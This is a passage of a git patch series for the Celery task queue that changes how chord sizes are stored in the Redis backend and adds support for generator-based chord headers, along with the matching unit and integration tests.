self.app.GroupResult(*header_result_args) + if any(isinstance(nr, GroupResult) for nr in header_result.results): + header_result.save(backend=self) @cached_property def _chord_zset(self): @@ -440,6 +445,7 @@ def on_chord_part_return(self, request, state, result, client = self.client jkey = self.get_key_for_group(gid, '.j') tkey = self.get_key_for_group(gid, '.t') + skey = self.get_key_for_group(gid, '.s') result = self.encode_result(result, state) encoded = self.encode([1, tid, state, result]) with client.pipeline() as pipe: @@ -447,77 +453,80 @@ def on_chord_part_return(self, request, state, result, pipe.zadd(jkey, {encoded: group_index}).zcount(jkey, "-inf", "+inf") if self._chord_zset else pipe.rpush(jkey, encoded).llen(jkey) - ).get(tkey) + ).get(tkey).get(skey) if self.expires: pipeline = pipeline \ .expire(jkey, self.expires) \ - .expire(tkey, self.expires) + .expire(tkey, self.expires) \ + .expire(skey, self.expires) - _, readycount, totaldiff = pipeline.execute()[:3] + _, readycount, totaldiff, chord_size_bytes = pipeline.execute()[:4] totaldiff = int(totaldiff or 0) - try: - callback = maybe_signature(request.chord, app=app) - total = callback['chord_size'] + totaldiff - if readycount == total: - header_result = GroupResult.restore(gid) - if header_result is not None: - # If we manage to restore a `GroupResult`, then it must - # have been complex and saved by `apply_chord()` earlier. - # - # Before we can join the `GroupResult`, it needs to be - # manually marked as ready to avoid blocking - header_result.on_ready() - # We'll `join()` it to get the results and ensure they are - # structured as intended rather than the flattened version - # we'd construct without any other information. - join_func = ( - header_result.join_native - if header_result.supports_native_join - else header_result.join - ) - with allow_join_result(): - resl = join_func( - timeout=app.conf.result_chord_join_timeout, - propagate=True + if chord_size_bytes: + try: + callback = maybe_signature(request.chord, app=app) + total = int(chord_size_bytes) + totaldiff + if readycount == total: + header_result = GroupResult.restore(gid) + if header_result is not None: + # If we manage to restore a `GroupResult`, then it must + # have been complex and saved by `apply_chord()` earlier. + # + # Before we can join the `GroupResult`, it needs to be + # manually marked as ready to avoid blocking + header_result.on_ready() + # We'll `join()` it to get the results and ensure they are + # structured as intended rather than the flattened version + # we'd construct without any other information. + join_func = ( + header_result.join_native + if header_result.supports_native_join + else header_result.join ) - else: - # Otherwise simply extract and decode the results we - # stashed along the way, which should be faster for large - # numbers of simple results in the chord header. - decode, unpack = self.decode, self._unpack_chord_result - with client.pipeline() as pipe: - if self._chord_zset: - pipeline = pipe.zrange(jkey, 0, -1) - else: - pipeline = pipe.lrange(jkey, 0, total) - resl, = pipeline.execute() - resl = [unpack(tup, decode) for tup in resl] - try: - callback.delay(resl) - except Exception as exc: # pylint: disable=broad-except - logger.exception( - 'Chord callback for %r raised: %r', request.group, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'Callback error: {exc!r}'), - ) - finally: - with client.pipeline() as pipe: - _, _ = pipe \ - .delete(jkey) \ - .delete(tkey) \ - .execute() - except ChordError as exc: - logger.exception('Chord %r raised: %r', request.group, exc) - return self.chord_error_from_stack(callback, exc) - except Exception as exc: # pylint: disable=broad-except - logger.exception('Chord %r raised: %r', request.group, exc) - return self.chord_error_from_stack( - callback, - ChordError(f'Join error: {exc!r}'), - ) + with allow_join_result(): + resl = join_func( + timeout=app.conf.result_chord_join_timeout, + propagate=True + ) + else: + # Otherwise simply extract and decode the results we + # stashed along the way, which should be faster for large + # numbers of simple results in the chord header. + decode, unpack = self.decode, self._unpack_chord_result + with client.pipeline() as pipe: + if self._chord_zset: + pipeline = pipe.zrange(jkey, 0, -1) + else: + pipeline = pipe.lrange(jkey, 0, total) + resl, = pipeline.execute() + resl = [unpack(tup, decode) for tup in resl] + try: + callback.delay(resl) + except Exception as exc: # pylint: disable=broad-except + logger.exception( + 'Chord callback for %r raised: %r', request.group, exc) + return self.chord_error_from_stack( + callback, + ChordError(f'Callback error: {exc!r}'), + ) + finally: + with client.pipeline() as pipe: + pipe \ + .delete(jkey) \ + .delete(tkey) \ + .delete(skey) \ + .execute() + except ChordError as exc: + logger.exception('Chord %r raised: %r', request.group, exc) + return self.chord_error_from_stack(callback, exc) + except Exception as exc: # pylint: disable=broad-except + logger.exception('Chord %r raised: %r', request.group, exc) + return self.chord_error_from_stack( + callback, + ChordError(f'Join error: {exc!r}'), + ) def _create_client(self, **params): return self._get_client()( diff --git a/celery/canvas.py b/celery/canvas.py index a4de76428dc..47afd2be9bc 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -13,6 +13,7 @@ from functools import partial as _partial from functools import reduce from operator import itemgetter +from types import GeneratorType from kombu.utils.functional import fxrange, reprcall from kombu.utils.objects import cached_property @@ -25,7 +26,7 @@ from celery.utils.collections import ChainMap from celery.utils.functional import _regen from celery.utils.functional import chunks as _chunks -from celery.utils.functional import (is_list, maybe_list, regen, +from celery.utils.functional import (is_list, lookahead, maybe_list, regen, seq_concat_item, seq_concat_seq) from celery.utils.objects import getitem_property from celery.utils.text import remove_repeating_from_task, truncate @@ -56,12 +57,6 @@ def task_name_from(task): return getattr(task, 'name', task) -def _upgrade(fields, sig): - """Used by custom signatures in .from_dict, to keep common fields.""" - sig.update(chord_size=fields.get('chord_size')) - return sig - - @abstract.CallableSignature.register class Signature(dict): """Task Signature. @@ -165,7 +160,6 @@ def __init__(self, task=None, args=None, kwargs=None, options=None, options=dict(options or {}, **ex), subtask_type=subtask_type, immutable=immutable, - chord_size=None, ) def __call__(self, *partial_args, **partial_kwargs): @@ -265,7 +259,6 @@ def clone(self, args=None, kwargs=None, **opts): 'kwargs': kwargs, 'options': deepcopy(opts), 'subtask_type': self.subtask_type, - 'chord_size': self.chord_size, 'immutable': self.immutable}, app=self._app) signature._type = self._type @@ -530,8 +523,6 @@ def _apply_async(self): kwargs = getitem_property('kwargs', 'Keyword arguments to task.') options = getitem_property('options', 'Task execution options.') subtask_type = getitem_property('subtask_type', 'Type of signature') - chord_size = getitem_property( - 'chord_size', 'Size of chord (if applicable)') immutable = getitem_property( 'immutable', 'Flag set if no longer accepts new arguments') @@ -604,7 +595,7 @@ def from_dict(cls, d, app=None): if isinstance(tasks, tuple): # aaaargh tasks = d['kwargs']['tasks'] = list(tasks) tasks = [maybe_signature(task, app=app) for task in tasks] - return _upgrade(d, _chain(tasks, app=app, **d['options'])) + return _chain(tasks, app=app, **d['options']) def __init__(self, *tasks, **options): tasks = (regen(tasks[0]) if len(tasks) == 1 and is_list(tasks[0]) @@ -908,9 +899,7 @@ class _basemap(Signature): @classmethod def from_dict(cls, d, app=None): - return _upgrade( - d, cls(*cls._unpack_args(d['kwargs']), app=app, **d['options']), - ) + return cls(*cls._unpack_args(d['kwargs']), app=app, **d['options']) def __init__(self, task, it, **options): Signature.__init__( @@ -964,10 +953,7 @@ class chunks(Signature): @classmethod def from_dict(cls, d, app=None): - return _upgrade( - d, chunks(*cls._unpack_args( - d['kwargs']), app=app, **d['options']), - ) + return chunks(*cls._unpack_args(d['kwargs']), app=app, **d['options']) def __init__(self, task, it, n, **options): Signature.__init__( @@ -1008,7 +994,10 @@ def _maybe_group(tasks, app): elif isinstance(tasks, abstract.CallableSignature): tasks = [tasks] else: - tasks = [signature(t, app=app) for t in tasks] + if isinstance(tasks, GeneratorType): + tasks = regen(signature(t, app=app) for t in tasks) + else: + tasks = [signature(t, app=app) for t in tasks] return tasks @@ -1055,9 +1044,7 @@ def from_dict(cls, d, app=None): d["kwargs"]["tasks"] = rebuilt_tasks = type(orig_tasks)(( maybe_signature(task, app=app) for task in orig_tasks )) - return _upgrade( - d, group(rebuilt_tasks, app=app, **d['options']), - ) + return group(rebuilt_tasks, app=app, **d['options']) def __init__(self, *tasks, **options): if len(tasks) == 1: @@ -1127,7 +1114,7 @@ def apply(self, args=None, kwargs=None, **options): options, group_id, root_id = self._freeze_gid(options) tasks = self._prepared(self.tasks, [], group_id, root_id, app) return app.GroupResult(group_id, [ - sig.apply(args=args, kwargs=kwargs, **options) for sig, _ in tasks + sig.apply(args=args, kwargs=kwargs, **options) for sig, _, _ in tasks ]) def set_immutable(self, immutable): @@ -1170,7 +1157,7 @@ def _prepared(self, tasks, partial_args, group_id, root_id, app, else: if partial_args and not task.immutable: task.args = tuple(partial_args) + tuple(task.args) - yield task, task.freeze(group_id=group_id, root_id=root_id) + yield task, task.freeze(group_id=group_id, root_id=root_id), group_id def _apply_tasks(self, tasks, producer=None, app=None, p=None, add_to_parent=None, chord=None, @@ -1179,12 +1166,26 @@ def _apply_tasks(self, tasks, producer=None, app=None, p=None, # XXX chord is also a class in outer scope. app = app or self.app with app.producer_or_acquire(producer) as producer: - for sig, res in tasks: + # Iterate through tasks two at a time. If tasks is a generator, + # we are able to tell when we are at the end by checking if + # next_task is None. This enables us to set the chord size + # without burning through the entire generator. See #3021. + for task_index, (current_task, next_task) in enumerate( + lookahead(tasks) + ): + sig, res, group_id = current_task + _chord = sig.options.get("chord") or chord + if _chord is not None and next_task is None: + chord_size = task_index + 1 + if isinstance(sig, _chain): + if sig.tasks[-1].subtask_type == 'chord': + chord_size = sig.tasks[-1].__length_hint__() + else: + chord_size = task_index + len(sig.tasks[-1]) + app.backend.set_chord_size(group_id, chord_size) sig.apply_async(producer=producer, add_to_parent=False, - chord=sig.options.get('chord') or chord, - args=args, kwargs=kwargs, + chord=_chord, args=args, kwargs=kwargs, **options) - # adding callback to result, such that it will gradually # fulfill the barrier. # @@ -1204,10 +1205,10 @@ def _freeze_gid(self, options): options.pop('task_id', uuid())) return options, group_id, options.get('root_id') - def freeze(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): + def _freeze_group_tasks(self, _id=None, group_id=None, chord=None, + root_id=None, parent_id=None, group_index=None): # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. + # XXX chord is also a class in outer scope. opts = self.options try: gid = opts['task_id'] @@ -1221,20 +1222,42 @@ def freeze(self, _id=None, group_id=None, chord=None, opts['group_index'] = group_index root_id = opts.setdefault('root_id', root_id) parent_id = opts.setdefault('parent_id', parent_id) - new_tasks = [] - # Need to unroll subgroups early so that chord gets the - # right result instance for chord_unlock etc. - results = list(self._freeze_unroll( - new_tasks, group_id, chord, root_id, parent_id, - )) - if isinstance(self.tasks, MutableSequence): - self.tasks[:] = new_tasks + if isinstance(self.tasks, _regen): + # We are draining from a geneator here. + tasks1, tasks2 = itertools.tee(self._unroll_tasks(self.tasks)) + results = regen(self._freeze_tasks(tasks1, group_id, chord, root_id, parent_id)) + self.tasks = regen(x[0] for x in zip(tasks2, results)) else: - self.tasks = new_tasks - return self.app.GroupResult(gid, results) + new_tasks = [] + # Need to unroll subgroups early so that chord gets the + # right result instance for chord_unlock etc. + results = list(self._freeze_unroll( + new_tasks, group_id, chord, root_id, parent_id, + )) + if isinstance(self.tasks, MutableSequence): + self.tasks[:] = new_tasks + else: + self.tasks = new_tasks + return gid, results + + def freeze(self, _id=None, group_id=None, chord=None, + root_id=None, parent_id=None, group_index=None): + return self.app.GroupResult(*self._freeze_group_tasks(_id=_id, group_id=group_id, + chord=chord, root_id=root_id, parent_id=parent_id, group_index=group_index)) _freeze = freeze + def _freeze_tasks(self, tasks, group_id, chord, root_id, parent_id): + yield from (task.freeze(group_id=group_id, + chord=chord, + root_id=root_id, + parent_id=parent_id, + group_index=group_index) + for group_index, task in enumerate(tasks)) + + def _unroll_tasks(self, tasks): + yield from (maybe_signature(task, app=self._app).clone() for task in tasks) + def _freeze_unroll(self, new_tasks, group_id, chord, root_id, parent_id): # pylint: disable=redefined-outer-name # XXX chord is also a class in outer scope. @@ -1305,7 +1328,7 @@ class chord(Signature): def from_dict(cls, d, app=None): options = d.copy() args, options['kwargs'] = cls._unpack_args(**options['kwargs']) - return _upgrade(d, cls(*args, app=app, **options)) + return cls(*args, app=app, **options) @staticmethod def _unpack_args(header=None, body=None, **kwargs): @@ -1422,7 +1445,6 @@ def run(self, header, body, partial_args, app=None, interval=None, app = app or self._get_app(body) group_id = header.options.get('task_id') or uuid() root_id = body.options.get('root_id') - body.chord_size = self.__length_hint__() options = dict(self.options, **options) if options else self.options if options: options.pop('task_id', None) @@ -1436,11 +1458,11 @@ def run(self, header, body, partial_args, app=None, interval=None, options.pop('chord', None) options.pop('task_id', None) - header_result = header.freeze(group_id=group_id, chord=body, root_id=root_id) + header_result_args = header._freeze_group_tasks(group_id=group_id, chord=body, root_id=root_id) - if len(header_result) > 0: + if header.tasks: app.backend.apply_chord( - header_result, + header_result_args, body, interval=interval, countdown=countdown, @@ -1452,6 +1474,7 @@ def run(self, header, body, partial_args, app=None, interval=None, # we execute the body manually here. else: body.delay([]) + header_result = self.app.GroupResult(*header_result_args) bodyres.parent = header_result return bodyres @@ -1504,7 +1527,7 @@ def _get_app(self, body=None): tasks = self.tasks.tasks # is a group except AttributeError: tasks = self.tasks - if len(tasks): + if tasks: app = tasks[0]._app if app is None and body is not None: app = body._app diff --git a/celery/utils/functional.py b/celery/utils/functional.py index ab36e3d4c3d..3ff29c97993 100644 --- a/celery/utils/functional.py +++ b/celery/utils/functional.py @@ -3,7 +3,7 @@ import sys from collections import UserList from functools import partial -from itertools import islice +from itertools import islice, tee, zip_longest from kombu.utils.functional import (LRUCache, dictfilter, is_list, lazy, maybe_evaluate, maybe_list, memoize) @@ -160,6 +160,19 @@ def uniq(it): return (seen.add(obj) or obj for obj in it if obj not in seen) +def lookahead(it): + """Yield pairs of (current, next) items in `it`. + + `next` is None if `current` is the last item. + Example: + >>> list(lookahead(x for x in range(6))) + [(0, 1), (1, 2), (2, 3), (3, 4), (4, 5), (5, None)] + """ + a, b = tee(it) + next(b, None) + return zip_longest(a, b) + + def regen(it): """Convert iterator to an object that can be consumed multiple times. diff --git a/t/integration/tasks.py b/t/integration/tasks.py index 2b4937a3725..2898d8a5ac7 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -24,6 +24,14 @@ def add(x, y, z=None): return x + y +@shared_task +def write_to_file_and_return_int(file_name, i): + with open(file_name, mode='a', buffering=1) as file_handle: + file_handle.write(str(i)+'\n') + + return i + + @shared_task(typing=False) def add_not_typed(x, y): """Add two numbers, but don't check arguments""" diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 2c96aa95b44..da57ac0c084 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1,4 +1,5 @@ import re +import tempfile from datetime import datetime, timedelta from time import sleep @@ -18,7 +19,8 @@ print_unicode, raise_error, redis_echo, replace_with_chain, replace_with_chain_which_raises, replace_with_empty_chain, retry_once, return_exception, - return_priority, second_order_replace1, tsum) + return_priority, second_order_replace1, tsum, + write_to_file_and_return_int) RETRYABLE_EXCEPTIONS = (OSError, ConnectionError, TimeoutError) @@ -1068,6 +1070,22 @@ def test_chord_on_error(self, manager): assert len([cr for cr in chord_results if cr[2] != states.SUCCESS] ) == 1 + @flaky + def test_generator(self, manager): + def assert_generator(file_name): + for i in range(3): + sleep(1) + if i == 2: + with open(file_name) as file_handle: + # ensures chord header generators tasks are processed incrementally #3021 + assert file_handle.readline() == '0\n', "Chord header was unrolled too early" + yield write_to_file_and_return_int.s(file_name, i) + + with tempfile.NamedTemporaryFile(mode='w', delete=False) as tmp_file: + file_name = tmp_file.name + c = chord(assert_generator(file_name), tsum.s()) + assert c().get(timeout=TIMEOUT) == 3 + @flaky def test_parallel_chords(self, manager): try: diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 6f54bdf37f1..6cdb32d985a 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -189,26 +189,26 @@ def test_on_chord_part_return(self): def test_apply_chord(self, unlock='celery.chord_unlock'): self.app.tasks[unlock] = Mock() - header_result = self.app.GroupResult( + header_result_args = ( uuid(), [self.app.AsyncResult(x) for x in range(3)], ) - self.b.apply_chord(header_result, self.callback.s()) + self.b.apply_chord(header_result_args, self.callback.s()) assert self.app.tasks[unlock].apply_async.call_count def test_chord_unlock_queue(self, unlock='celery.chord_unlock'): self.app.tasks[unlock] = Mock() - header_result = self.app.GroupResult( + header_result_args = ( uuid(), [self.app.AsyncResult(x) for x in range(3)], ) body = self.callback.s() - self.b.apply_chord(header_result, body) + self.b.apply_chord(header_result_args, body) called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] assert called_kwargs['queue'] is None - self.b.apply_chord(header_result, body.set(queue='test_queue')) + self.b.apply_chord(header_result_args, body.set(queue='test_queue')) called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] assert called_kwargs['queue'] == 'test_queue' @@ -216,7 +216,7 @@ def test_chord_unlock_queue(self, unlock='celery.chord_unlock'): def callback_queue(result): pass - self.b.apply_chord(header_result, callback_queue.s()) + self.b.apply_chord(header_result_args, callback_queue.s()) called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] assert called_kwargs['queue'] == 'test_queue_two' @@ -860,15 +860,15 @@ def test_restore_group_from_pickle(self): def test_chord_apply_fallback(self): self.b.implements_incr = False self.b.fallback_chord_unlock = Mock() - header_result = self.app.GroupResult( + header_result_args = ( 'group_id', [self.app.AsyncResult(x) for x in range(3)], ) self.b.apply_chord( - header_result, 'body', foo=1, + header_result_args, 'body', foo=1, ) self.b.fallback_chord_unlock.assert_called_with( - header_result, 'body', foo=1, + self.app.GroupResult(*header_result_args), 'body', foo=1, ) def test_get_missing_meta(self): diff --git a/t/unit/backends/test_cache.py b/t/unit/backends/test_cache.py index 8400729017d..9e1ac5d29e4 100644 --- a/t/unit/backends/test_cache.py +++ b/t/unit/backends/test_cache.py @@ -71,12 +71,12 @@ def test_mark_as_failure(self): def test_apply_chord(self): tb = CacheBackend(backend='memory://', app=self.app) - result = self.app.GroupResult( + result_args = ( uuid(), [self.app.AsyncResult(uuid()) for _ in range(3)], ) - tb.apply_chord(result, None) - assert self.app.GroupResult.restore(result.id, backend=tb) == result + tb.apply_chord(result_args, None) + assert self.app.GroupResult.restore(result_args[0], backend=tb) == self.app.GroupResult(*result_args) @patch('celery.result.GroupResult.restore') def test_on_chord_part_return(self, restore): @@ -91,12 +91,12 @@ def test_on_chord_part_return(self, restore): self.app.tasks['foobarbaz'] = task task.request.chord = signature(task) - result = self.app.GroupResult( + result_args = ( uuid(), [self.app.AsyncResult(uuid()) for _ in range(3)], ) - task.request.group = result.id - tb.apply_chord(result, None) + task.request.group = result_args[0] + tb.apply_chord(result_args, None) deps.join_native.assert_not_called() tb.on_chord_part_return(task.request, 'SUCCESS', 10) diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index fb236426f06..b4067345682 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -14,6 +14,7 @@ from celery.canvas import Signature from celery.exceptions import (BackendStoreError, ChordError, ImproperlyConfigured) +from celery.result import AsyncResult, GroupResult from celery.utils.collections import AttributeDict @@ -296,7 +297,7 @@ def create_task(self, i, group_id="group_id"): self.app.tasks['foobarbaz'] = task task.request.chord = signature(task) task.request.id = tid - task.request.chord['chord_size'] = 10 + self.b.set_chord_size(group_id, 10) task.request.group = group_id task.request.group_index = i return task @@ -306,7 +307,8 @@ def chord_context(self, size=1): with patch('celery.backends.redis.maybe_signature') as ms: request = Mock(name='request') request.id = 'id1' - request.group = 'gid1' + group_id = 'gid1' + request.group = group_id request.group_index = None tasks = [ self.create_task(i, group_id=request.group) @@ -314,7 +316,7 @@ def chord_context(self, size=1): ] callback = ms.return_value = Signature('add') callback.id = 'id1' - callback['chord_size'] = size + self.b.set_chord_size(group_id, size) callback.delay = Mock(name='callback.delay') yield tasks, request, callback @@ -591,11 +593,11 @@ def test_expire(self): def test_apply_chord(self, unlock='celery.chord_unlock'): self.app.tasks[unlock] = Mock() - header_result = self.app.GroupResult( + header_result_args = ( uuid(), [self.app.AsyncResult(x) for x in range(3)], ) - self.b.apply_chord(header_result, None) + self.b.apply_chord(header_result_args, None) assert self.app.tasks[unlock].apply_async.call_count == 0 def test_unpack_chord_result(self): @@ -640,6 +642,12 @@ def test_add_to_chord(self): b.add_to_chord(gid, 'sig') b.client.incr.assert_called_with(b.get_key_for_group(gid, '.t'), 1) + def test_set_chord_size(self): + b = self.Backend('redis://', app=self.app) + gid = uuid() + b.set_chord_size(gid, 10) + b.client.set.assert_called_with(b.get_key_for_group(gid, '.s'), 10) + def test_expires_is_None(self): b = self.Backend(expires=None, app=self.app) assert b.expires == self.app.conf.result_expires.total_seconds() @@ -700,9 +708,10 @@ def test_on_chord_part_return(self): assert self.b.client.zrangebyscore.call_count jkey = self.b.get_key_for_group('group_id', '.j') tkey = self.b.get_key_for_group('group_id', '.t') - self.b.client.delete.assert_has_calls([call(jkey), call(tkey)]) + skey = self.b.get_key_for_group('group_id', '.s') + self.b.client.delete.assert_has_calls([call(jkey), call(tkey), call(skey)]) self.b.client.expire.assert_has_calls([ - call(jkey, 86400), call(tkey, 86400), + call(jkey, 86400), call(tkey, 86400), call(skey, 86400), ]) def test_on_chord_part_return__unordered(self): @@ -749,6 +758,7 @@ def test_on_chord_part_return_no_expiry(self): old_expires = self.b.expires self.b.expires = None tasks = [self.create_task(i) for i in range(10)] + self.b.set_chord_size('group_id', 10) for i in range(10): self.b.on_chord_part_return(tasks[i].request, states.SUCCESS, i) @@ -889,8 +899,8 @@ def test_on_chord_part_return__ChordError(self): with self.chord_context(1) as (_, request, callback): self.b.client.pipeline = ContextMock() raise_on_second_call(self.b.client.pipeline, ChordError()) - self.b.client.pipeline.return_value.zadd().zcount().get().expire( - ).expire().execute.return_value = (1, 1, 0, 4, 5) + self.b.client.pipeline.return_value.zadd().zcount().get().get().expire( + ).expire().expire().execute.return_value = (1, 1, 0, b'1', 4, 5, 6) task = self.app._tasks['add'] = Mock(name='add_task') self.b.on_chord_part_return(request, states.SUCCESS, 10) task.backend.fail_from_current_stack.assert_called_with( @@ -905,8 +915,8 @@ def test_on_chord_part_return__ChordError__unordered(self): with self.chord_context(1) as (_, request, callback): self.b.client.pipeline = ContextMock() raise_on_second_call(self.b.client.pipeline, ChordError()) - self.b.client.pipeline.return_value.rpush().llen().get().expire( - ).expire().execute.return_value = (1, 1, 0, 4, 5) + self.b.client.pipeline.return_value.rpush().llen().get().get().expire( + ).expire().expire().execute.return_value = (1, 1, 0, b'1', 4, 5, 6) task = self.app._tasks['add'] = Mock(name='add_task') self.b.on_chord_part_return(request, states.SUCCESS, 10) task.backend.fail_from_current_stack.assert_called_with( @@ -921,8 +931,8 @@ def test_on_chord_part_return__ChordError__ordered(self): with self.chord_context(1) as (_, request, callback): self.b.client.pipeline = ContextMock() raise_on_second_call(self.b.client.pipeline, ChordError()) - self.b.client.pipeline.return_value.zadd().zcount().get().expire( - ).expire().execute.return_value = (1, 1, 0, 4, 5) + self.b.client.pipeline.return_value.zadd().zcount().get().get().expire( + ).expire().expire().execute.return_value = (1, 1, 0, b'1', 4, 5, 6) task = self.app._tasks['add'] = Mock(name='add_task') self.b.on_chord_part_return(request, states.SUCCESS, 10) task.backend.fail_from_current_stack.assert_called_with( @@ -933,8 +943,8 @@ def test_on_chord_part_return__other_error(self): with self.chord_context(1) as (_, request, callback): self.b.client.pipeline = ContextMock() raise_on_second_call(self.b.client.pipeline, RuntimeError()) - self.b.client.pipeline.return_value.zadd().zcount().get().expire( - ).expire().execute.return_value = (1, 1, 0, 4, 5) + self.b.client.pipeline.return_value.zadd().zcount().get().get().expire( + ).expire().expire().execute.return_value = (1, 1, 0, b'1', 4, 5, 6) task = self.app._tasks['add'] = Mock(name='add_task') self.b.on_chord_part_return(request, states.SUCCESS, 10) task.backend.fail_from_current_stack.assert_called_with( @@ -949,8 +959,8 @@ def test_on_chord_part_return__other_error__unordered(self): with self.chord_context(1) as (_, request, callback): self.b.client.pipeline = ContextMock() raise_on_second_call(self.b.client.pipeline, RuntimeError()) - self.b.client.pipeline.return_value.rpush().llen().get().expire( - ).expire().execute.return_value = (1, 1, 0, 4, 5) + self.b.client.pipeline.return_value.rpush().llen().get().get().expire( + ).expire().expire().execute.return_value = (1, 1, 0, b'1', 4, 5, 6) task = self.app._tasks['add'] = Mock(name='add_task') self.b.on_chord_part_return(request, states.SUCCESS, 10) task.backend.fail_from_current_stack.assert_called_with( @@ -965,8 +975,8 @@ def test_on_chord_part_return__other_error__ordered(self): with self.chord_context(1) as (_, request, callback): self.b.client.pipeline = ContextMock() raise_on_second_call(self.b.client.pipeline, RuntimeError()) - self.b.client.pipeline.return_value.zadd().zcount().get().expire( - ).expire().execute.return_value = (1, 1, 0, 4, 5) + self.b.client.pipeline.return_value.zadd().zcount().get().get().expire( + ).expire().expire().execute.return_value = (1, 1, 0, b'1', 4, 5, 6) task = self.app._tasks['add'] = Mock(name='add_task') self.b.on_chord_part_return(request, states.SUCCESS, 10) task.backend.fail_from_current_stack.assert_called_with( @@ -980,42 +990,34 @@ def complex_header_result(self): with patch("celery.result.GroupResult.restore") as p: yield p - def test_apply_chord_complex_header(self): - mock_header_result = Mock() + @pytest.mark.parametrize(['results', 'assert_save_called'], [ # No results in the header at all - won't call `save()` - mock_header_result.results = tuple() - self.b.apply_chord(mock_header_result, None) - mock_header_result.save.assert_not_called() - mock_header_result.save.reset_mock() - # A single simple result in the header - won't call `save()` - mock_header_result.results = (self.app.AsyncResult("foo"), ) - self.b.apply_chord(mock_header_result, None) - mock_header_result.save.assert_not_called() - mock_header_result.save.reset_mock() + (tuple(), False), + # Simple results in the header - won't call `save()` + ((AsyncResult("foo"), ), False), # Many simple results in the header - won't call `save()` - mock_header_result.results = (self.app.AsyncResult("foo"), ) * 42 - self.b.apply_chord(mock_header_result, None) - mock_header_result.save.assert_not_called() - mock_header_result.save.reset_mock() + ((AsyncResult("foo"), ) * 42, False), # A single complex result in the header - will call `save()` - mock_header_result.results = (self.app.GroupResult("foo"), ) - self.b.apply_chord(mock_header_result, None) - mock_header_result.save.assert_called_once_with(backend=self.b) - mock_header_result.save.reset_mock() + ((GroupResult("foo", []),), True), # Many complex results in the header - will call `save()` - mock_header_result.results = (self.app.GroupResult("foo"), ) * 42 - self.b.apply_chord(mock_header_result, None) - mock_header_result.save.assert_called_once_with(backend=self.b) - mock_header_result.save.reset_mock() + ((GroupResult("foo"), ) * 42, True), # Mixed simple and complex results in the header - will call `save()` - mock_header_result.results = itertools.islice( + (itertools.islice( itertools.cycle(( - self.app.AsyncResult("foo"), self.app.GroupResult("foo"), + AsyncResult("foo"), GroupResult("foo"), )), 42, - ) - self.b.apply_chord(mock_header_result, None) - mock_header_result.save.assert_called_once_with(backend=self.b) - mock_header_result.save.reset_mock() + ), True), + ]) + def test_apply_chord_complex_header(self, results, assert_save_called): + mock_group_result = Mock() + mock_group_result.return_value.results = results + self.app.GroupResult = mock_group_result + header_result_args = ("gid11", results) + self.b.apply_chord(header_result_args, None) + if assert_save_called: + mock_group_result.return_value.save.assert_called_once_with(backend=self.b) + else: + mock_group_result.return_value.save.assert_not_called() def test_on_chord_part_return_timeout(self, complex_header_result): tasks = [self.create_task(i) for i in range(10)] diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index b6bd7f94cea..6f638d04262 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -785,6 +785,17 @@ def test_kwargs_delay_partial(self): class test_chord(CanvasCase): + def test__get_app_does_not_exhaust_generator(self): + def build_generator(): + yield self.add.s(1, 1) + self.second_item_returned = True + yield self.add.s(2, 2) + + self.second_item_returned = False + c = chord(build_generator(), self.add.s(3)) + c.app + assert not self.second_item_returned + def test_reverse(self): x = chord([self.add.s(2, 2), self.add.s(4, 4)], body=self.mul.s(4)) assert isinstance(signature(x), chord) diff --git a/t/unit/tasks/test_chord.py b/t/unit/tasks/test_chord.py index f4e03a0e130..d977418c1bc 100644 --- a/t/unit/tasks/test_chord.py +++ b/t/unit/tasks/test_chord.py @@ -342,3 +342,13 @@ def test_run(self): Chord(group(self.add.signature((i, i)) for i in range(5)), body) Chord([self.add.signature((j, j)) for j in range(5)], body) assert self.app.backend.apply_chord.call_count == 2 + + @patch('celery.Celery.backend', new=PropertyMock(name='backend')) + def test_run__chord_size_set(self): + Chord = self.app.tasks['celery.chord'] + body = self.add.signature() + group_size = 4 + group1 = group(self.add.signature((i, i)) for i in range(group_size)) + result = Chord(group1, body) + + self.app.backend.set_chord_size.assert_called_once_with(result.parent.id, group_size) diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index 2100b074000..54a89fd2551 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -3,8 +3,8 @@ from celery.utils.functional import (DummyContext, first, firstmethod, fun_accepts_kwargs, fun_takes_argument, - head_from_fun, maybe_list, mlazy, - padlist, regen, seq_concat_item, + head_from_fun, lookahead, maybe_list, + mlazy, padlist, regen, seq_concat_item, seq_concat_seq) @@ -66,6 +66,10 @@ def predicate(value): assert iterations[0] == 10 +def test_lookahead(): + assert list(lookahead(x for x in range(6))) == [(0, 1), (1, 2), (2, 3), (3, 4), (4, 5), (5, None)] + + def test_maybe_list(): assert maybe_list(1) == [1] assert maybe_list([1]) == [1] @@ -136,14 +140,12 @@ def test_gen__negative_index(self, g): def test_nonzero__does_not_consume_more_than_first_item(self): def build_generator(): yield 1 - self.consumed_second_item = True + pytest.fail("generator should not consume past first item") yield 2 - self.consumed_second_item = False g = regen(build_generator()) assert bool(g) assert g[0] == 1 - assert not self.consumed_second_item def test_nonzero__empty_iter(self): assert not regen(iter([])) From bf5b2bceffd52707bcde0fe30935182ba96e3c80 Mon Sep 17 00:00:00 2001 From: David Schneider Date: Thu, 4 Mar 2021 16:02:09 +0100 Subject: [PATCH 167/415] Forward shadow option for retried tasks (#6655) Co-authored-by: David Schneider --- celery/app/task.py | 2 ++ t/unit/tasks/test_tasks.py | 6 ++++++ 2 files changed, 8 insertions(+) diff --git a/celery/app/task.py b/celery/app/task.py index 1d4c974cb22..3e386822bec 